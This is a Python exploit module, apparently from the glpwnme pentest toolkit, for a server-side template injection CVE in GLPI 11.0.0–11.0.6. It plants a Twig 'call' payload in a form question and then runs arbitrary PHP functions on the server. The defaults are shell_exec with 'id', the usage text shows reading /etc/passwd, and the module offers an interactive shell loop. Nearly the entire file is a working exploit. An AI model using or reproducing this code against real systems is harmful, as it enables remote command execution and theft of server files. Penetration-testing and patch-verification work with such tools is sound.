import re
import time
import uuid
from http import HTTPStatus
from packaging import version
from glpwnme.exploits.exploit import GlpiExploit
from glpwnme.exploits.logger import Log
from bs4 import BeautifulSoup
from glpwnme.exploits.utils import GlpiUtils
from urllib.parse import urlparse, parse_qs, quote_plus
from enum import Enum, auto

class STATE(Enum):
    DEFAULT = 1
    FORM_UUID = 2

class CVE_2026_26026(GlpiExploit):
    """
    This CVE abuse a concatenation to a template string that is rendered using
    user input

      ..sql ::
        select * from glpi_profilerights WHERE name="form";

        +-----+-------------+------+--------+
        | id  | profiles_id | name | rights |
        +-----+-------------+------+--------+
        | 782 |           1 | form |      0 |
        | 783 |           2 | form |      0 |
        | 784 |           3 | form |      0 |
        | 785 |           4 | form |     31 | --> SuperAdmin only can play with 'form'
        | 786 |           5 | form |      0 |
        | 787 |           6 | form |      0 |
        | 788 |           7 | form |      0 |
        | 789 |           8 | form |      0 |
        +-----+-------------+------+--------+


    @author Zax
    @cvss 7.2
    @name CVE_2026_26026
    """
    min_version = "11.0.0"
    max_version = "11.0.6"
    _impacts = "S.S.T.I (Server Side Template Injection)"
    _privilege = "SuperAdmin"

    FORM_NAME = "Orange Cyberdefense malicious form"
    QUESTION_NAME = "How are you ?"
    SENTINEL = "OCDOCDOCDOCDOCD"

    def infos(self):
        """
        This method is used to display the information of an exploit.
        This method support rich formatting

        :return: The whole informations about an exploit
        :rtype: str
        """
        infos = "[u]Description:[/u]\n"
        infos += "This exploit allows any SuperAdmin to achieve [b]Code execution[/b] through SSTI.\n"

        infos += "\n[u]Params:[/u]\n"
        infos += " - [i]php_function (default: 'shell_exec')[/i]:\n\tThe php function to execute\n"
        infos += " - [i]args (default 'id')[/i]: Arguments to provide to the function\n"
        infos += " - [i]form_id (optionnal)[/i]: The id of the form to modify (be careful with this param as it changes the remote form)\n"

        infos += "\n[u]Usage:[/u]\n"
        infos += "[grey66]# Execute another command with shell_exec[/]\n"
        infos += "--run -O args='ls -lhas'\n"

        infos += "\n[grey66]# Read /etc/passwd from server[/]\n"
        infos += "--run -O php_function='readfile' args='/etc/passwd'\n"

        infos += "\n[grey66]# Use an existing form[/]\n"
        infos += "--run -O form_id=5\n"

        infos += "\n[u]Note:[/u]\n"
        infos += "Please note that this exploit will create a form do not forget to remove it\n"

        infos += "\nExploit is [green b]Safe[/]"
        return infos

    @staticmethod
    def extract_uuids(response, form_id):
        """
        Extract uuid for form question and section, not sure this is the right way to do it...
        Anyway, it will only extract the form uuid given its id, and one section with a quesion if any

        If there are multiple questions / sections it will return the first found
        """
        state = STATE.DEFAULT

        soup = BeautifulSoup(response.text, "html.parser")
        hidden_fields = {}

        for inp in soup.find_all("input", {"type": "hidden"}):
            name = inp.get("name", "")
            value = inp.get("value", "")
            if name == "id" and value == form_id:
                # Next uuid is the one of the form
                state = STATE.FORM_UUID
                continue

            if name == "uuid" and state == STATE.FORM_UUID:
                if not hidden_fields.get("form_uuid"):
                    hidden_fields["form_uuid"] = value
                    state = STATE.DEFAULT

            elif(name == "forms_sections_uuid" and value
                 and not hidden_fields.get("question_uuid")):
                hidden_fields["section_uuid"] = value
                question = inp.find_previous("input")
                if question and question.get("name", "") == "uuid":
                    question_uuid = question.get("value", "")
                    if question_uuid:
                        hidden_fields["question_uuid"] = value

            if state != STATE.DEFAULT:
                state = STATE.DEFAULT
        return hidden_fields

    def run(self,
            php_function="shell_exec",
            args="id",
            form_id=None):
        """
        Run the exploit on the target
        """
        if not form_id:
            result = self.get("/front/form/form.form.php")
            if GlpiUtils.is_access_denied(result.text):
                Log.err(f"It seems you are not Super-Admin (Got HTTP / {result.status_code}) ")
                return
            form_id = parse_qs(urlparse(self.glpi_session.current_url).query).get("id", [None])[0]
            if not form_id:
                Log.err("Cannot find a usable form_id, please provide one")
                return
            Log.log(f"Next time rerun with [b]-O form_id={form_id}[/b] to prevent creating unecessary forms")
            self._write_log(f"Created form with id: {form_id}")

        base_payload = '{{ call(_get[0], _get[1]) }}'
        payload = f'{self.__class__.SENTINEL}{base_payload}{self.__class__.SENTINEL}'
        Log.msg(f"Using form n°{form_id}")

        res = self.get(f"/ajax/common.tabs.php?_glpi_tab=Glpi\\Form\\Form$main&_target=/front/form/form.form.php&_itemtype=Glpi\\Form\\Form&id={form_id}&0=chr&1[]=61")
        if res.status_code != HTTPStatus.OK:
            Log.err(f"Error recovering form information, got [dodger_blue1]HTTP {res.status_code}[/dodger_blue1]")
            return

        if self.__class__.SENTINEL not in res.text:
            result = self.__class__.extract_uuids(res, form_id)
            if "form_uuid" not in result.keys():
                Log.err("Form could not be initialized, exiting...")
                return

            for key in ("section_uuid", "question_uuid"):
                if key not in result.keys():
                    key_uuid = str(uuid.uuid4())
                    keyname = key.split("_")[0]
                    Log.log(f"No {keyname} for form n°{form_id}, adding one with custom id: {key_uuid}")
                    result[key] = key_uuid

            update_json = {"name":self.__class__.FORM_NAME,"is_active":"0","header":"","_uploader_header":[{}],
                           "_sections":
                               {"0":
                                   {"name":"First section","description":"","_uploader_description":[{}],
                                    "uuid":result["section_uuid"],"forms_forms_id":form_id,"rank":"0"}
                               },
                           "_questions":
                               {"0":
                                   {"name":self.__class__.QUESTION_NAME,
                                    "description":"","_uploader_description":[{}],"default_value":"0",
                                    "extra_data":{},
                                    "extra_data":
                                        {"options": {"2123963109":payload }},
                                    "_type_category":"Glpi\\Form\\QuestionType\\QuestionTypeCategory->dropdown",
                                    "type":"Glpi\\Form\\QuestionType\\QuestionTypeDropdown",
                                    "is_mandatory":"0",
                                    "uuid":result["question_uuid"],
                                    "forms_sections_uuid":result["section_uuid"],
                                    "vertical_rank":"0",
                                    "horizontal_rank":"-1",
                                    "category":"Glpi\\Form\\QuestionType\\QuestionTypeCategory->dropdown"}
                                },
                            "render_layout":"step_by_step","id":form_id,"uuid":result["form_uuid"],
                            "_delete_missing_questions":"1","_delete_missing_sections":"1","_delete_missing_comments":"1",
                            "is_draft":"0","_action":"update","update":True,"itemtype":"Glpi\\Form\\Form"}


            result = self.post("/GenericAjaxCrud", json=update_json, headers={"Content-Type": "application/json"})

            if result.status_code != HTTPStatus.OK:
                Log.err(f"An unknown error occured...")
                return

        else:
            Log.msg(f"Payload ready")

        Log.log(f"Do not forget to clean ([b]--clean -O form_id={form_id}[/b])")
        Log.msg(f"Executing: {php_function}({args})")
        
        re_result = re.compile(re.escape(self.__class__.SENTINEL) + r'(.*?)' + re.escape(self.__class__.SENTINEL), re.S)
        result = self._exec_command(form_id, php_function, args, re_result, base_payload)
        if not result:
            Log.err(f"No result found, target might be patched")

        else:
            Log.msg(f"Results:")
            print(result)

            if Log.ask("Do you want an interactive shell"):
                command = ""
                while command not in ("exit", "quit"):
                    command = input("(CVE_2026_26026 [exit]) $ ")
                    if not command.strip():
                        continue

                    else:
                        print(self._exec_command(form_id, php_function, command, re_result, base_payload))

    def _exec_command(self, form_id, php_function, command, re_result, base_payload):
        """
        Function that exec the command and return the result
        """
        res = self.get("/ajax/common.tabs.php?_glpi_tab=Glpi\\Form\\Form$main&_target=/front/form/form.form.php"
                       f"&_itemtype=Glpi\\Form\\Form&id={form_id}&0={php_function}&1[]={quote_plus(command)}")
        results = re.findall(re_result, res.text)
        if not results:
            return ""

        command_res = ""
        for cmd_res in set(results):
            if cmd_res != base_payload:
                command_res += cmd_res
        return command_res

    def clean(self, form_id):
        """
        Remove the form with the given id
        """
        delete_json = {"itemtype":"Glpi\\Form\\Form", "id":form_id, "_action": "purge"}
        result = self.post("/GenericAjaxCrud", json=delete_json, headers={"Content-Type": "application/json"})
        if result.status_code == HTTPStatus.OK:
            Log.msg(f"Form n°{form_id} has successfully be cleaned :grin-emoji:")

        else:
            Log.err(f"Got error HTTP - {result.status_code}")
